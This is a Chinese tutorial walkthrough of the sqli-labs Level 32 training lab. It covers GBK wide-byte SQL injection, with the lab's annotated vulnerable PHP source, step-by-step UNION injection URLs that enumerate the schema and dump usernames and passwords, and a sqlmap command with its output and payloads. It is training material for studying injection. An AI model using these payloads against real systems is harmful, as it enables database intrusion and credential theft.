当前位置: 首页 > news >正文

sqli-labs通关笔记-第32关 GET宽字符注入(单引号闭合 手工注入+脚本注入两种方法)

目录

一、宽字符注入

二、代码审计

1、代码审计

2、SQL注入安全性分析

三、渗透实战

1、进入靶场

2、id=1探测

3、id=%df'-- 探测

4、手工注入

(1)获取列数

(2)获取回显位

(3)获取数据库名

(4)获取表名

(5)获取列名

(6)获取数据

5、sqlmap渗透实战 


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第32关Less 32基于宽字符的SQL注入关卡进行渗透实战。  

一、宽字符注入

宽字节注入是一种利用数据库字符集转换风险的SQL注入技术,主要影响使用GBK、BIG5等多字节字符集的系统。其核心原理如下所示。

  • 当系统使用addslashes或mysql_real_escape_string转义单引号时,会添加反斜杠(\')。

  • 在GBK编码中,%df%5c可组成一个合法汉字"運"。

  • 攻击者构造%df',转义后变为%df%5c%27,被解析为"運'"使单引号逃逸。

二、代码审计

1、代码审计

本关卡Less32是基于宽字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less32关卡的源码功能是简单基于id的查询页面,详细注释过的源码如下所示。

<?php
// 引入数据库连接配置
include("../sql-connections/sqli-connect.php");/*** 自定义转义函数:模拟绕过addslashes()的场景* @param string $string 待转义的字符串* @return string 转义后的字符串*/
function check_addslashes($string) {// 转义反斜杠:将单个反斜杠替换为两个反斜杠(\\\\ → 转义后为\\)$string = preg_replace('/' . preg_quote('\\') . '/', '\\\\\\', $string); // 转义单引号:将单引号'替换为\'(通过添加反斜杠)$string = preg_replace('/\'/i', '\\\'', $string); // 转义双引号:将双引号"替换为\"$string = preg_replace('/"/', '\\"', $string); return $string;
}// 处理GET请求中的id参数
if (isset($_GET['id'])) {$id = check_addslashes($_GET['id']); // 调用自定义转义函数// echo "The filtered request is :" .$id . "<br>"; // 调试用,输出过滤后的参数// 记录id参数到日志文件$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 设置数据库字符集为gbk(关键风险:可能引发宽字符注入)mysqli_query($con1, "SET NAMES gbk");// 构造SQL查询(直接拼接转义后的id参数)$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) {// 成功时显示用户信息echo '<font color= "#00FF00">';echo 'Your Login name:' . $row['username'];echo "<br>Your Password:" . $row['password'];echo "</font>";} else {// 失败时显示数据库错误(可用于错误回显注入)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 暴露SQL语法错误,帮助攻击者调试Payloadecho "</font>";}
} else {// 未传递id参数时的提示echo "Please input the ID as parameter with numeric value";
}
?><!-- 页面底部提示:显示转义后的字符串及其十六进制表示 -->
<font size='4' color= "#33FFFF">
<?php
function strToHex($string) {$hex = '';for ($i = 0; $i < strlen($string); $i++) {$hex .= dechex(ord($string[$i])); // 将字符串转换为十六进制}return $hex;
}
echo "Hint: The Query String you input is escaped as : " . $id . "<br>";
echo "The Query String you input in Hex becomes : " . strToHex($id) . "<br>";
?>
</font>

本关卡通过模拟addslashes()转义逻辑,结合gbk字符集演示了宽字符注入的原理。核心风险在于转义后的反斜杠与宽字符组合导致单引号逃逸,核心功能如下所示。

  • 自定义转义函数:使用check_addslashes函数模拟 addslashes() 的转义逻辑,对单引号、双引号和反斜杠进行转义(如 ' → \',\ → \\)。
  • 参数处理:从 GET 参数获取id,调用转义函数后直接拼接 SQL 查询语句中(SELECT * FROM users WHERE id='$id')。
  • 数据库配置:显式设置字符集为 gbk,为宽字符注入创造条件。
  • 错误回显:当 SQL 查询失败时,返回数据库错误信息(如语法错误),可用于注入攻击的错误提示。
  • 调试提示:页面底部显示转义后的字符串及其十六进制形式,帮助理解参数处理过程。

2、SQL注入安全性分析

本关卡具有宽字符注入风险,具体分析如下所示。

  • 转义逻辑缺陷

    • 转义函数check_addslashes()将单引号'转义为\'(反斜杠 + 单引号),故而本关卡无法通过普通的单引号闭合进行SQL注入。
    • 但当数据库字符集为gbk(或其他支持多字节字符的编码)时,反斜杠\(ASCII 码为 5C)与后续字符可能组成一个宽字符,导致转义的单引号被 “吃掉”。
  • 注入流程
    • 输入 payload:%df'(URL 编码为 %df%27)。
    • 单引号转义后变为:\' URL 编码为 %5C%27,%df'转移后变为了%df%5C%27
    • 在gbk字符集中,%df%5C 被解析为一个宽字符,%27(单引号)被保留。

三、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第32关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less32关卡,进入到靶场的第32关卡宽字符型注入关,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“Hint: The Query String you input is escaped as :The Query String you input in Hex becomes ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-32/

2、id=1探测

3、id=%df'-- 探测

注入语句为%df' --空格,由于空格的URL编码为加号符号,故而完整渗透URL如下所示。

http://192.168.59.1/sqli-labs/Less-32/?id=1%df' --+

如下所示构造闭合成功,页面显示用户名和密码并参考HINT输出了宽字符内容。 

4、手工注入

(1)获取列数

如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。

http://192.168.59.1/sqli-labs/Less-32/?id=1%df' ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-32/?id=1%df' ORDER BY 4--+

(2)获取回显位

如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,2,3--+

(3)获取数据库名

如下所示,数据库的名称为“security”。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,DATABASE(),3--+

(4)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+

(5)获取列名

如下所示,数据库users表的列名分别为id,username,password。特别注意这里users表使用十六进制0x7573657273表示,因为'users'会被转义,此时渗透成功。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME=0x7573657273--+

(6)获取数据

最后通过上一步获取到的列名来提取users表的内容,这里符号:也被替换为0x3a,如下所示渗透成功。

http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,0x3a,password)),3 FROM users--+

5、sqlmap渗透实战 

 我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),其中-u参数指定目标URL地址,在id=1后面增加%df'的目标是指定闭合方式,星号*放在id=1%df'后则是指定注入点为id,完整的SQL注入命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-32/?id=1%df'*" --current-db  --batch --dump

sqlmap渗透成功,可以通过报错法、时间盲注方法渗透成功,具体信息如下所示。

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1318 HTTP(s) requests:
---
Parameter: #1* (URI)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-32/?id=1%df' AND GTID_SUBSET(CONCAT(0x7176767871,(SELECT (ELT(5642=5642,1))),0x7178766b71),5642)-- HYRVType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-32/?id=1%df' AND (SELECT 5958 FROM (SELECT(SLEEP(5)))kwSY)-- AhYa
---
[22:55:13] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[22:55:13] [INFO] fetching current database
[22:55:13] [INFO] retrieved: 'security'
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password      | username       |
+----+---------------+----------------+
| 1  | Dumb          | Dumb           |
| 2  | I-kill-you    | Angelina       |
| 3  | p@ssword      | Dummy          |
| 4  | crappy        | secure         |
| 5  | stupidity     | stupid         |
| 6  | genious       | superman       |
| 7  | mob!le        | batman         |
| 8  | mooyuan123456 | admin          |
| 9  | admin1        | admin1         |
| 10 | admin2        | admin2         |
| 11 | admin3        | admin3         |
| 12 | dumbo         | dhakkan        |
| 14 | admin4        | admin4         |
| 15 | 123456        | admin'#mooyuan |
+----+---------------+----------------+
http://www.lryc.cn/news/610904.html

相关文章:

  • Android 中几种常用布局的优缺点
  • 如何在nuxt项目中使用scss
  • 自动驾驶中的传感器技术24——Camera(15)
  • AI智能体的安全困境:防护机制与伦理平衡的艺术
  • PostgreSQL bytea 类型的大小限制
  • fastgpt本地运行起来的 服务配置
  • SELinux加固Linux安全
  • 基于Django的计算机资源爬虫及可视化系统的设计与实现
  • 开源密码恢复实用程序 Hashcat 7.0.0 发布
  • 最新安卓原生对接苹果cms App后端+app(最新优化版)
  • QML开发:QML的第一个程序
  • echarts在前后端分离项目中的实践与应用
  • C# --- 本地缓存失效形成缓存击穿触发限流
  • RHCA04--系统模块管理与资源限制
  • 武汉火影数字:VR大空间在文旅产业的创新应用
  • TDengine 中 TDgpt 的模型评估工具
  • VR眼动追踪技术帮助医生更快速确认大脑神经损伤与疾病
  • 与功能包相关的指令ros2 pkg
  • Reading Books(Sorting and Searching)
  • 工作相关: 预刷真值与人工标注的真值之间的关系 以及 真值与原始数据的关系,
  • Node.js高并发下的内存泄漏排查与解决实录
  • postman接口测试实战
  • 前端性能测试:从工具到实战全解析
  • 奇偶校验码原理与FPGA实现
  • Z20K118库中寄存器及其库函数封装-CLOCK库
  • 通信算法之298: verilog语法generate和for介绍
  • 【学习笔记】FTP库函数学习
  • uniapp云打包打包安卓app失败,显示:本地安装包生成失败,请重试或者切换到非安心打包模式进行打包
  • 多模态新方向|从数据融合到场景落地,解锁视觉感知新范式
  • SOLIDWORKS 买断许可和订阅许可的资金流影响分析-代理商硕迪科技